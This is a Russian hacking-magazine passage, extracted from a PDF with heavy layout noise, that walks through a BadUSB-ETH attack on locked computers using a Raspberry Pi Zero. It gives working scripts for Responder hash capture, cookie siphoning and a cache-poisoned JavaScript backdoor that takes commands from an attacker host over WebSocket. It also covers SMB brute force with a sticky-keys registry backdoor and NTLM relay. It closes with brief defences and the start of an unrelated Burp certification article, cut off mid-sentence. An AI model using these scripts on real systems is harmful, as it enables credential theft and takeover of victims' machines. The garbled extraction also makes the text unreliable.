 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

РАЗБИРАЕМ В ДЕТАЛЯХ АТАКУ BADUSB-ETH

РЕАЛИЗАЦИЯ

Устрой­ ­ство может быть реализова­ ­но на базе множес­ ­тва одноплатных­ решений. Наиболее­ легковес­ ­ное и известное­ среди­ них — Raspberry Pi Zero

(W). Эта плата­ не потребу­ ­ет дополнитель­ ­ного питания, необходимое­ нап­ ряжение берется­ от USB-порта­ компьюте­ ­ра. С целью индикации­ хода атак для простоты­ используем­ три светоди­ ­ода со следующи­ ­ми ролями:

зеленый­ (INFO) — ПК определи­ л наш девайс как сетевую карту­ Ethernet, и поднялась­ сеть;

желтый­ (WARNING) — утечка­ NetNTLM-хеша или иной чувстви­ ­тель­ной информации­ ;

красный­ (CRITICAL) — обнаруже­ ­на RCE, подобран­ пароль и тому подоб­ ное.

Большинс­ тв­ о одноплатных­ ПК снабжены­ GPIO-пинами, с помощью которых можн­ о подавать небольшое­ напряжение­ , необходимое­ для работы светоди­ ­ одов.

Схема­ подклю­ чения­ светоди­ одов­

Соответс­ твен­ но­ , чтобы­ зажечь, а потом погасить светоди­ од­ , подклю­ чен­ ный­ , например­ , к 26-му пину, потребу­ ется­ выполнить­ следующие­ команды­ ОС внутри­ платы­ :

raspi-gpio set 26 op dh

sleep 1

raspi-gpio set 26 op dl

Эмуляция­ Ethernet-устройства­ , как и эмуляция­ других­ видов USB-девайсов­ , поддержи­ вает­ ся­ непосредс­ твен­ но­ ядром Linux через так называемые­ USBгаджеты­ . Очень красиво­ такую атаку­ продемонс­ три­ ровал­ Сами Камкар­ (Sami Kamkar) в проекте­ под названи­ ем­ PoisonTap:

git clone https://github.com/samyk/poisontap

ln -s ~/poisontap /opt/poisontap

Именн­ о этот инстру­ мен­ т взят за основу­ , особен­ но­ в эмуляции­ сетевой карты­ , но с некоторыми­ улучшени­ ями­ :

/home/pi/poisontap/pi_startup.sh rmmod g_ether

cd /sys/kernel/config/usb_gadget/

mkdir -p poisontap

cd poisontap

echo 0x0694 > idVendor

echo 0x0005 > idProduct

mkdir -p strings/0x409

echo "Samy Kamkar" > strings/0x409/manufacturer

echo "PoisonTap" > strings/0x409/product

# RNDIS

mkdir configs/c.2

echo "0xC0" > configs/c.2/bmAttributes

echo "1" > configs/c.2/MaxPower

mkdir configs/c.2/strings/0x409

echo "RNDIS" > configs/c.2/strings/0x409/configuration

echo "1" > os_desc/use

echo "0xcd" > os_desc/b_vendor_code

echo "MSFT100" > os_desc/qw_sign

mkdir functions/rndis.usb0

echo "42:61:64:55:53:45" > functions/rndis.usb0/dev_addr

echo "48:6f:73:74:50:44" > functions/rndis.usb0/host_addr

echo "RNDIS" > functions/rndis.usb0/os_desc/interface.rndis/

compatible_id

echo "5162001" > functions/rndis.usb0/os_desc/interface.rndis/sub_

compatible_id

ln -s functions/rndis.usb0 configs/c.2

ln -s configs/c.2 os_desc

ls /sys/class/udc > UDC

modprobe g_ether

sleep 10

ifup usb0

ifconfig usb0 up

/sbin/route add -net 0.0.0.0/0 usb0

/etc/init.d/isc-dhcp-server restart

/sbin/sysctl -w net.ipv4.ip_forward=1

#/sbin/iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j

REDIRECT --to-port 1337

#/usr/bin/screen -dmS dnsspoof /usr/sbin/dnsspoof -i usb0 port 53

#/usr/bin/screen -dmS node /usr/bin/nodejs /home/pi/poisontap/

pi_poisontap.js

iptables -t nat -A POSTROUTING -o usb0 -j MASQUERADE

Посколь­ ку­ атака­ кросс платформен­ ная­ , требует­ ся­ настрой­ ка­ эмуляции­ сразу­ двух составных­ USB-устройств­ : для сетевых карт RNDIS (Windows) и CDC (Unix). Перекрытие­ сетевых интерфейсов­ задается­ в файле­ dhcpd.conf:

/etc/dhcp/dhcpd.conf

subnet 0.0.0.0 netmask 128.0.0.0 {

range 1.0.0.10 1.0.0.50;

option broadcast-address 255.255.255.255;

option routers 1.0.0.1;

default-lease-time 600;

max-lease-time 7200;

option domain-name "local";

option domain-name-servers 1.0.0.1;

# send the routes for both the top and bottom of the IPv4 address

space

option classless-routes 1,0, 1,0,0,1, 1,128, 1,0,0,1;

option classless-routes-win 1,0, 1,0,0,1, 1,128, 1,0,0,1;

}

Несмотря­

на то

что

устройство­

объявля­

е­ т себя шлюзом­ , реально­ оно

не пересылае­ т пакеты от компьюте­ ра­ жертвы­ дальше­ , но скомпро­ мети­

рован­

­

ной машине знать об этом и не нужно­ .

 

 

 

 

 

 

 

 

 

 

Стои­ т отметить­

еще, что подмена­

DNS специаль­

но­ не произво­

дит­ ся­ , что­

бы не ломать оригиналь­

ные­

сетевые потоки к легитимным­

ресурсам­ , так

как трафик­

до них в любом случае­ будет нами перехвачен­

, ведь мы имитиру­

ем­

шлюз.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Что касается­

непосредс­

твен­

но­ атак, то сам PoisonTap реализуе­ т лишь нес­

кольк­ о из них. Мы же собираемся­

использовать­

всё, что только­ можно­ , поэто­

му для кастомиза­

ции­

добавим наш будущий атакующий­

скрипт загрузчик­

в автозапуск­

:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

/etc/rc.local

/bin/sh /home/pi/poisontap/pi_startup.sh # Было изначально от

PoisonTap

/usr/bin/screen -dmS attacks /home/pi/launch_attacks.sh # Наши

доработки

Теперь­ настро­ им­ запуск дополнитель­ ных­ атак.

/home/pi/launch_attacks.sh

#!/bin/bash

HOME='/home/pi'

time=$(date +'%H:%M:%S_%d.%m.%Y')

screen -dmS Xorg xinit -- /usr/bin/X :0 -br # (optional) for GUI

scripts

screen -dmS www python3 -m http.server --bind 2.0.0.1 --directory

$HOME 80

cd $HOME

for script in $(find on_network/ -type f -perm -u+x)

do

exec $script usb0 poisontap >> $HOME/poisontap_$time.log &

done

while : # waiting victim

do

echo 1 > /sys/class/leds/led0/brightness

if [ $(arp -an | sed -rn 's/\? \(([^\)]+)\) .*\[ether\] on usb0/\1/

p' | wc -l) -ne 0 ]

then

break

fi

sleep 0.1

echo 0 > /sys/class/leds/led0/brightness

sleep 1

done

led green on

arp -an | sed -rn 's/\? \(([^\)]+)\) .*\[ether\] on usb0/\1/p' |

while read ip

do

for script in $(find on_client/ -type f -perm -u+x)

do

exec $script $ip "" 1.0.0.1 >> $HOME/poisontap_$time.log &

done

done

tail -f $HOME/poisontap_$time.log

Сразу­ после­ подклю­ ­чения к атакуемой­ машине Raspberry включит­ ­ся, система­ запустится­ , активиру­ ­ет эмуляци­ ю сети по USB и приведен­ ­ный выше скрипт автомати­ ­чес­ки начне­ т выполнять­ ­ся. Сначала­ он запусти­ т глобаль­ ­ные ата­ кующие скрипты­ (on_network). Затем будет ждать, пока компьютер­ жертвы­ не настро­ ­ит Ethernet-сеть, на Raspberry это означае­ т появление­ нового IP в ARP-кеше. И уже потом он запусти­ т для нового IP все таргетиро­ ­ван­ные ата­ кующие скрипты­ (on_client). При этом результаты­ всех проверок­ будут сох­ ранены в соответс­ ­тву­ющий файл на карте­ памяти устройства­ .

Получа­ ­ется небольшой­ атакующий­ движок­ , позволя­ ­ющий автомати­ ­чес­ки запускать­ для каждой­ цели любые скрипты­ (sh/py/etc) по своему­ вкусу­ . Про­ тотипы­ скриптов­ при этом следующие­ :

on_network/script.sh $interface $networkname;

on_client/script.sh $target_ip $networkname $attacker_ip.

Для автомати­ ­чес­ких атак можно­ использовать­ самые популярные­ уязвимос­ ­ти, а также­ реализовать­ атаки­ , специфич­ ­ные для локальных­ сетей, посколь­ ­ку с атакуемым­ компьюте­ ­ром образует­ ­ся виртуаль­ ­ная локальная­ сеть.

Начнем­ с глобаль­ ­ных атак. В перву­ ю очередь­ это, конечно­ же, responder с его атаками­ на широковеща­ ­тель­ные запросы­ , которые тоже будут идти на наш интерфейс. Эти атаки­ самые перспек­ ­тивные и срабаты­ ­вают почти­ всегда­ :

on_network/responder.sh

#!/bin/bash

echo '[*] running Responder attacks'

iptables -t nat -vnL PREROUTING > /tmp/iptables.txt

if ! cat /tmp/iptables.txt | grep "$1" | grep -q 53; then

iptables -t nat -A PREROUTING -i "$1" -p udp --dport 53 -j

REDIRECT --to-port 53

fi

for port in 21 25 80 88 110 143 389 443 445 1433 3389

do

if ! cat /tmp/iptables.txt | grep "$1" | grep -q " $port";

then

iptables -t nat -A PREROUTING -i "$1" -p tcp --dport $port

-j REDIRECT --to-port $port

fi

done

[[ $(pgrep -f Responder.py) = '' ]] && {

responder -I "$1" -r -d -w -F &

}

inotifywait -e MODIFY -rm /usr/share/responder/logs | while read

event

do

if echo $event | grep -e NTLM -e ClearText --color=auto; then

led yellow on 2> /dev/null

fi

done

Учитывая­ , что мы перекроем­ на атакуемом­ компьюте­ ­ре провод­ ­ной и беспро­ ­ водной­ сетевые интерфейсы­ (при их наличии), на BadUSB-девайс пойдет­ множес­ ­тво попыток аутентифика­ ­ции, которые responder сможе­ т зафик­ сировать. И как тольк­ о будет приня­ т хотя бы один хеш, на устройстве­ загорит­ ся желтая­ лампочка­ .

Вместо­ responder мы можем запустить­ MITM-атаки­ на веб и попробовать­ похитить пролета­ ­ющие cookies, попутно­ внедряя­ JS-backdoor в веб кеш:

on_network/poisontap.sh

#!/bin/bash

echo '[*] running cookies siphoning and web cache poisoning'

sleep 5 # after captive portal checks

[[ $(pgrep dnsspoof) = '' ]] && {

#screen -dmS dnsspoof dnsspoof -i "$1" port 53

dnsspoof -i "$1" port 53 &

}

[[ $(iptables -t nat -vnL PREROUTING | grep "$1" | grep 1337) = '' ]]

&& {

iptables -t nat -A PREROUTING -i "$1" -p tcp --dport 80 -j

REDIRECT --to-port 1337

}

[[ $(pgrep -f pi_poisontap.js) = '' ]] && {

truncate -s 1 /opt/poisontap/poisontap.cookies.log

nodejs /opt/poisontap/pi_poisontap.js &

}

tail -f /opt/poisontap/poisontap.cookies.log | while read line

do

if echo $line | grep 'Cookie:' --color=auto; then

led yellow on 2> /dev/null

fi

done

Поймав­ всег­ о один HTTP-запрос­ , мы посредс­ твом­ PoisonTap начинаем­ встав­

лять цикл редиректов­ на сайты­ из poisontap/target_injected_xhtmljs. html, тем самым заставляя­ браузер­ переходить­ на эти сайты­ и отправлять­ cookies. Так с заблокиро­ ван­ ной­ рабочей станции­ можно­ извлечь сессии­ к тем или иным веб ресурсам­ .

Парал­ ­лель­но с этим произво­ ­дит­ся перебор по популярным­ JS-библиоте­ ­ кам. Посколь­ ­ку это MITM-атака­ , мы управляем­ ответом­ сервера­ . В каждую­ из загружа­ ­емых JS-библиотек­ мы внедряем­ вредонос­ ­ный код из poisontap/ target_backdoor.js и выставля­ ­ем при этом HTTP-заголовки­ , заставля­ ­ющие веб браузер­ жертвы­ закешировать­ данное­ содержимое­ на длитель­ ­ный срок:

/home/pi/poisontap/target_backdoor.js

var socket = new WebSocket((location.protocol=='https:'?'wss:':'ws:')

+ "//js_shell.attacker.tk/ws")

socket.onmessage = function(event) {

var result = eval(event.data)

if(result)

socket.send(result)

}

После­ входа­ пользовате­ ля­ на какой либо сайт, использующий­ отравленную­ нами JS-библиоте­ ку­ , мы сможем­ получить JS-шелл к этой веб странице­ , что позволи­ т нам выполнить­ любые действия­ от имени­ пользовате­ ля­ . Эта атака­ используе­ т тот же самый порт, что и responder (80/tcp), и они исключаю­ т друг друга­ , поэтому­ ее запуска­ ют не напряму­ ю из pi_startup.sh, а по необ­ ходимости­ из атакующе­ го­ движка­ .

Что касается­ таргетиро­ ван­ ных­ атак, которым нужен IP-адрес, то можно­ использовать­ следующий­ вариант­ :

on_client/ms17-010.sh

#!/bin/bash

WAIT=2

DPORT=445

#https://github.com/worawit/MS17-010

if nc -nw $WAIT $1 $DPORT < /dev/null 2> /dev/null; then

echo '[*] checking MS17-010'

nmap -Pn -n -p 445 --script smb-vuln-ms17-010 $1 > /tmp/ms17-

010.log 2> /dev/null

if grep 'State: VULNERABLE' /tmp/ms17-010.log --color=auto;

then

led red on 2> /dev/null

fi

fi

Если­ машина уязвима­ , то на BadUSB-устройстве­ загорится­ красный­ светоди­ ­ од. Также­ старый­ добрый­ брутфорс­ всегда­ будет актуален­ :

on_client/bruteforce/smb.sh

#!/bin/bash

WAIT=2

DPORT=445

function pwn(){

echo "[*] try to activate backdoor"

target="$1"

user="$2"

password="$3"

psexec.py "$user:$password@$target" 'reg add "HKLM\SOFTWARE\

Microsoft\Windows NT\CurrentVersion\Image File Execution Options\

sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"' > /

dev/null

}

if nc -nw $WAIT $1 $DPORT < /dev/null 2> /dev/null; then

echo '[*] bruteforcing smb'

for user in администратор administrator admin; do

found=$(medusa -M smbnt -m PASS:PASSWORD -h $1 -u

$user -P on_client/bruteforce/default_pass_for_services_unhash.txt |

grep 'SUCCESS (ADMIN$ - Access Allowed)')

if [ x"$found" != "x" ]; then

led red on 2> /dev/null

echo $found | grep 'SUCCESS' --color=auto

password=$(echo $found|sed -rn 's/.

*Password: (.*) \[SUCCESS.*/\1/p')

pwn "$1" "$user" "$password"

break

fi

done

fi

Если­ пароль к компьюте­ ру­ по SMB будет подобран­ , то с помощью этого­ скрипта­ BadUSB-устройство­ активиру­ е­ т бэкдор­ на ПК и позволи­ т нам вызвать­ командну­ ю строку­ еще до входа­ в систему­ — через пять нажатий клавиши­

Shift.

Аналогич­ ­ный брутфорс­ мы можем выполнить­ и для RDP, а также­ , учитывая­ , что атака­ кросс платформен­ ­на, и для SSH.

Ты, конечн­ о же, можешь добавить еще ряд атак по своему­ вкусу­ , более подходящих­ под ту или иную ситуацию­ . Для этого­ нужно­ просто­ поместить­ соответс­ тву­ ющий­ скрипт в директори­ ю on_network или on_client. Активиру­ ­ ют или деактивиру­ ют­ атаку­ при различных­ сценари­ ях­ через установ­ ку­ /снятие­ бита исполняемос­ ти­ на соответс­ тву­ ющих­ скриптах­ (chmod +x on_client/

some_attack.sh).

Когда­ атака­ завершена­ , мы просто­ вынимаем­ устройство­ из USB-порта­ , все результаты­ при этом будут сохранены­ в файл на карте­ памяти нашего девайса­ с указани­ ем­ даты и времени­ атаки­ . Чтобы­ к моменту­ извлечения­ устройства­ , то есть отключения­ питания, оно успело­ сохранить­ все данные­ , потребу­ ется­ отключить­ дисковый­ кеш — так информация­ будет сразу­ же писаться­ на карту­ памяти:

/etc/fstab

PARTUUID=27b31ed7-02 / ext4 defaults,noatime,sync 0 1

Наконец­ , завершающий­ штрих — обработ­ ка­ запросов­ управления­ световой­ индикаци­ ей­ для выбранных­ нами контактов­ :

/usr/local/bin/led

#!/bin/bash

case $1 in

green)

if [ x$2 = "xon" ]; then

raspi-gpio set 26 op dh

elif [ x$2 = "xoff" ]; then

raspi-gpio set 26 op dl

fi

;;

yellow)

if [ x$2 = "xon" ]; then

raspi-gpio set 193 op dh

elif [ x$2 = "xoff" ]; then

raspi-gpio set 139 op dl

fi

;;

red)

if [ x$2 = "xon" ]; then

raspi-gpio set 5 op dh

elif [ x$2 = "xoff" ]; then

raspi-gpio set 5 op dl

fi

;;

esac

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

COVERSTORY

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

g

 

 

p

 

 

c

 

 

 

 

 

 

df

 

n

e

 

 

 

 

-x ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

c

 

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

 

РАЗБИРАЕМ В ДЕТАЛЯХ АТАКУ BADUSB-ETH

АТАКА НА ЗАБЛОКИРОВАННЫЙ КОМПЬЮТЕР

Теперь­ идем к заблокиро­ ван­ ному­ компьюте­ ру­ и подклю­ чаем­ наш Raspberry Pi Zero в качестве­ атакующе­ го­ устройства­ BadUSB-ETH.

Девайс­ BadUSB-ETH успешно установи­ л сетевое соединение­ с ПК

Через­ полминуты­ после­ подклю­ чения­ загорается­ зеленая лампочка­ — сеть между­ устройством­ и ПК поднялась­ . В ходе этой атаки­ на доменных­ ПК ста­ бильн­ о угоняет­ ся­ NetNTLM-хеш, так как мы перекрыва­ ем­ связь с контрол­ ­ лером домена и прочими­ корпоратив­ ными­ ресурсами­ со сквозной­ аутен­ тификацией­ . В указан­ ном­ случае­ загорается­ желтая­ лампочка­ (на это уходит­ около­ минуты). А если вдруг загорится­ красная­ лампочка­ , то наши атакующие­ скрипты­ задетектили­ возможный­ RCE и наш девайс в состоянии­ даже акти­ вировать­ бэкдор­ . И все это только­ лишь по USB-проводу­ !

УДАЛЕННЫЙ ДОСТУП

Наше­ устройств­ о способ­ ­но уведом­ ­лять о результатах­ атак только­ с помощью светоди­ ­одов. Несомненно­ , полну­ ю картину­ мы всегда­ сможем­ увидеть­ в логах после­ завершения­ атаки­ . Но раз мы хотим атаковать­ быстро­ , здесь и сейчас­ , то нужн­ о все контро­ ­лиро­вать прямо­ в процес­ ­се.

На борту­ Raspberry Pi Zero W есть Wi-Fi, и это значит­ , что мы сможем­ под­ ключать­ ­ся к нему в ходе атаки­ хоть с телефона­ , хоть с ноутбука­ . Добиться­ это­ го достаточ­ ­но легко­ — нам потребу­ ­ется лишь три конфигура­ ­цион­ных файла­ . В первом­ прописы­ ­ваем параметры­ беспро­ ­вод­ной сети:

/etc/hostapd.conf

interface=wlan0

driver=nl80211

ssid=badusb

hw_mode=g

channel=1

macaddr_acl=0

auth_algs=1

ignore_broadcast_ssid=0

wpa=3

wpa_key_mgmt=WPA-PSK

wpa_pairwise=CCMP

wpa_passphrase=s3cr3t_p@ss

Дописы­ ваем­ параметры­ сети для клиентов­ :

/etc/dhcp/dhcpd.conf

subnet 2.0.0.0 netmask 255.255.255.0 {

option subnet-mask 255.255.255.0;

option routers 2.0.0.1;

range 2.0.0.10 2.0.0.10;

option classless-routes 24, 1,0,0, 2,0,0,1;

option classless-routes-win 24, 1,0,0, 2,0,0,1;

}

А собствен­ ные­ настрой­ ки­ сети на BadUSB-плате­ указыва­ ем­ в следующем­ файле­ :

/etc/network/interfaces auto wlan0

iface wlan0 inet static

address 2.0.0.1

netmask 255.255.255.0

Далее­ активиру­ ­ем все это:

systemctl unmask hostapd.service

systemctl enable hostapd.service

vim /etc/default/isc-dhcp-server:

INTERFACESv4="usb0 wlan0"

Тем самым мы реализова­ ли­ точку­ доступа­ внутри­ нашего BadUSB. Это поз­ волит при атаке­ подклю­ чать­ ся­ к плате­ по Wi-Fi.

В скрипте­ launch_attacks.sh (см. выше) на Wi-Fi-интерфейсе­ также­ под­ нимается­ еще и миниатюр­ ный­ веб сервер­ . С его помощью мы можем получить сведения­ о найден­ ных­ уязвимос­ тях­ , просматри­ вая­ соответс­ тву­ ­ ющие логи во время­ проведе­ ния­ атаки­ .

Девайс­ BadUSB-ETH успешно вытянул трафик­ с ПК, включая­ учетные­ данные­

На иллюстра­ ции­ выше мы видим, что атакуемый­ ПК отправил­ нам по USB и хеш пароля учетной­ записи, и cookie для доступа­ к веб почте­ .

Доступ к ПК

Если­ на нашем устройстве­ загорится­ красный­ светоди­ од­ и оно задетектит­ критичес­ ку­ ю уязвимость­ либо подбере­ т пароль, этим нужно­ также­ оператив­ ­ но восполь­ зовать­ ся­ . Однако­ устройство­ без клавиату­ ры­ и дисплея­ не самое удобное­ средств­ о для интерак­ тивной­ эксплу­ ата­ ции­ . Но раз внутри­ девайса­ есть уже настро­ енный­ Wi-Fi, это значит­ , что он может использовать­ ся­ в роли шлюза­ для доступа­ к целевому­ ПК прямо­ в ходе атаки­ . Ранее в самой пос­ ледней строке­ скрипта­ pi_startup.sh мы как раз активиро­ вали­ данну­ ю воз­ можность.

Например­ , так мы можем запустить­ на телефоне­ RDP-клиен­ т и войти­ на атакуемый­ ПК с подобранным­ паролем.

Устрой­ ств­ о BadUSB-ETH предос­ тавля­ е­ т сетевой доступ­ до атакуемо­ го­ ПК по USB

Возможность­ сетевого­ доступа­ к компьюте­ ру­ жертвы­ через BadUSB может быть использована­ для развития­ дальнейших­ атак уже с привлечени­ ем­ хакер­ ских ноутбуков­ со сканера­ ми­ уязвимос­ тей­ либо для постэкс­ плу­ ата­ ции­ .

Доступ от ПК

Wi-Fi на плате­ Raspberry Pi может быть использован­ еще и для передачи­ тра­ фика в обратном направле­ ­нии — от компьюте­ ­ра жертвы­ в сторону­ атакующе­ ­ го. Атака­ BadUSB имее­ т крайне­ большой­ потенциал­ , и мы можем придумать­ сценарии­ атак, в ходе которых требует­ ­ся связать­ атакующее­ BadUSB-устрой­ ство с внешним­ миром.

Отличный­ пример­ такой атаки­ — это угон админско­ го­ хеша и «открывание­ » им контрол­ лера­ домена, где, как известно­ , хранит­ ся­ «ключ от всех дверей­ ».

С помощью следующе­ ­го атакующе­ ­го скрипта­ мы сможем­ задейство­ ­вать утекший­ NetNTLM-хеш, отправив­ его по Wi-Fi на другое­ устройство­ , чтобы­ затем реализовать­ атаку­ обхода­ аутентифика­ ­ции.

on_network/ntlmrelay.sh

#!/bin/bash

ATTACKER=2.0.0.10

for port in 80 445

do

if ! iptables -t nat -vnL PREROUTING | grep "$1" | grep -q "

$port"; then

iptables -t nat -A PREROUTING -i "$1" -p tcp --dport $port

-j DNAT --to-destination $ATTACKER:$port

fi

done

iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE

Теперь­ находим залоченный­ комп админа­ . Пока хозяин­ компа­ отсутству­ ­ет, быстр­ о вставляем­ в свобод­ ­ный USB-порт наш BadUSB-девайс. Как только­ устройств­ о загрузит­ ­ся, сразу­ же подклю­ ­чаем­ся к нему по Wi-Fi, например­

с телефона­ (для удобства­ атакующий­ получае­ т всегда­ фиксирован­ ­ный IPадрес 2.0.0.10), и запускаем­ на телефоне­ скрипт для перенаправле­ ­ния NTLM-аутентифика­ ­ции.

Девайс­ BadUSB-ETH успешно перенаправи­ л «вытянутый­ » NetNTLM-хеш на телефон, который скомпро­ мети­ рова­ л сервер­

BadUSB-девайс, вытянув NetNTLM-хеш учетки­ админис­ тра­ тора­ домена, отправляе­ т его на телефон через Wi-Fi для дальнейше­ го­ использования­ . Телефон ловит его и используе­ т этот самый хеш для аутентифика­ ции­ от име­ ни админа­ на произволь­ ном­ внутреннем­ узле, возможно­ , даже на контрол­ ­ лере домена. Подобная­ атака­ с некоторыми­ вариациями­ позволи­ т хакнуть­ практичес­ ки­ любой корпоратив­ ный­ комп или сервер­ , используя­ физический­ доступ­ к USB-порту­ .

ЗАЩИТА

Нужн­ о понимать, что при такой BadUSB-атаке­ каждый­ раз создает­ ся­ новый сетевой интерфейс. Поэтому­ не получится­ просто­ отключить­ его в сетевых настрой­ ках­ , так как его там попросту­ нет. Каждый­ раз, когда­ подклю­ чает­ ся­ BadUSB-девайс, интерфейс будет создавать­ ся­ заново, а по извлечении­ уда­ ляться­ . В итоге­ атака­ получается­ скрытной­ : когда­ она завершится­ , не оста­ нется­ ни сетевог­ о интерфейса­ , ни изменен­ ных­ сетевых настро­ ек­ — операци­ ­ онная система­ сама возвра­ щае­ т все в исходное состояние­ .

Для защиты от продемонс­ три­ рован­ ных­ атак рекомендует­ ся­ применять­ специали­ зиро­ ван­ ные­ програм­ мные­ решения, которые ограничи­ ваю­ т исполь­ зование сторон­ них­ USB-устройств­ , то есть блокиру­ ю­ т USB-устройства­ не из доверенног­ о списка­ (white list).

Альтер­ ­натив­ным способом­ защиты может быть также­ запре­ т подклю­ ­чения USB-сетевых карт в групповых­ политиках­ . Еще более простой­ и очевид­ ­ный способ­ защиты — ограничить­ физический­ доступ­ посторон­ ­них лиц к потен­ циальн­ о уязвимому­ компьюте­ ­ру.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

КАК Я СДАВАЛ НОВЫЙ ЭКЗАМЕН СОЗДАТЕЛЕЙ

BURP

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

Недав­ ­но я успешно сдал сертифика­ ­цию

Burp Suite Certifed Practitioner (BSCP) ком­

пании PortSwigger и хочу поделиться­ своим­ опытом­ . В этой статье я расска­ жу­ , с какими

подводны­

ми­

камнями­

тебе придет­ ся­ стол­

кнуться­ на

экзамене­

и при подготов­

ке­

к нему.

 

 

 

 

W0lFreaK

Независимый исследователь веба https://t.me/pain_test wolfreak449@gmail.com

Я работаю аудитором­ информацион­ ной­ безопасности­ , основной мой про­ филь — тестирова­ ние­ безопасности­ веб приложе­ ний­ . До того как начать изу­ чение материалов­ BSCP, я уже имел представ­ ление­ о OWASP Top-10 и экс­ плуата­ ции­ базовых веб уязвимос­ тей­ (SQL-инъекции­ , XSS, SSTI и другие­ ). Однак­ о этог­ о оказалось­ недостаточ­ но­ , чтобы­ успешно и быстро­ пройти­ сер­ тификацию­ . Активная подготов­ ка­ к ней заняла у меня около­ трех месяцев, а финальный­ экзамен­ я сдал с четвертой­ попытки­ .

ПОДГОТОВКА

Для сдачи­ BSCP необходимо­ зарегистри­ ровать­ ся­ и начать обучение­ на плат­ форме PortSwigger Academy. Весь материа­ л здесь беспла­ тен­ , а это боль­ ше 200 практичес­ ких­ лаборатор­ ных­ работ и больше­ 100 страниц­ теоретичес­ ­ ких материалов­ , изложен­ ных­ понятным­ и доступным­ языком­ . Для каждой­ из лабораторок­ есть авторское­ решение, куда можно­ подгля­ дывать­ , если что то неясно­ .

Лабора­ тор­ ные­ работы разделены­ по темам и трем уровням­ сложности­ : Apprentice, Practitioner и Expert. Для успешной сдачи­ сертифика­ ции­ авторы­ курса­ рекоменду­ ют выполнить­ как минимум все лаборатор­ ные­ работы первых­ двух уровней­ сложности­ . В лабах уровня­ Expert зачастую­ , чтобы­ справить­ ся­ с заданием­ , необходимо­ комбиниро­ вать­ несколь­ ко­ уязвимос­ тей­ .

Также­ существу­ ­ет режим Mystery Labs, в котором система­ случай­ ­ным образом­ выдае­ т лаборатор­ ­ные работы по выбранной­ тематике­ и выбранно­ ­го уровня­ сложности­ . При подготов­ ­ке к реальному­ экзамену­ это самый эффективный­ режим, именно­ его я рекомендую­ активно использовать­ , помимо чтения­ теоретичес­ ­кого материала­ . На платформе­ регулярно­ появ­ ляются­ новые лекцион­ ­ные материалы­ , ресерчи­ и свежие­ лаборатор­ ­ные работы.

ЭКЗАМЕН

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Попыт­ ки­ сдачи­ приобре­

тают­

ся­ за 99 американ­

ских­

долларов­

. Однако­ сущес­

твуют­ способы­

получить попытку­ бесплат­

но­ или с большой­

скидкой­ , об этом

расска­ жу­ подробнее­

в разделе­

советов. Перед экзаменом­

необходимо­

прой­

ти валидаци­ ю в системе­

прокторин­

га­ . По моему опыту­ (который подтвер­

дила­

поддер­ жка­ ), на этом экзамене­

прокторинг­

применя­

ется­

 

исключитель­

но­

для провер­ ки­ личности­

 

 

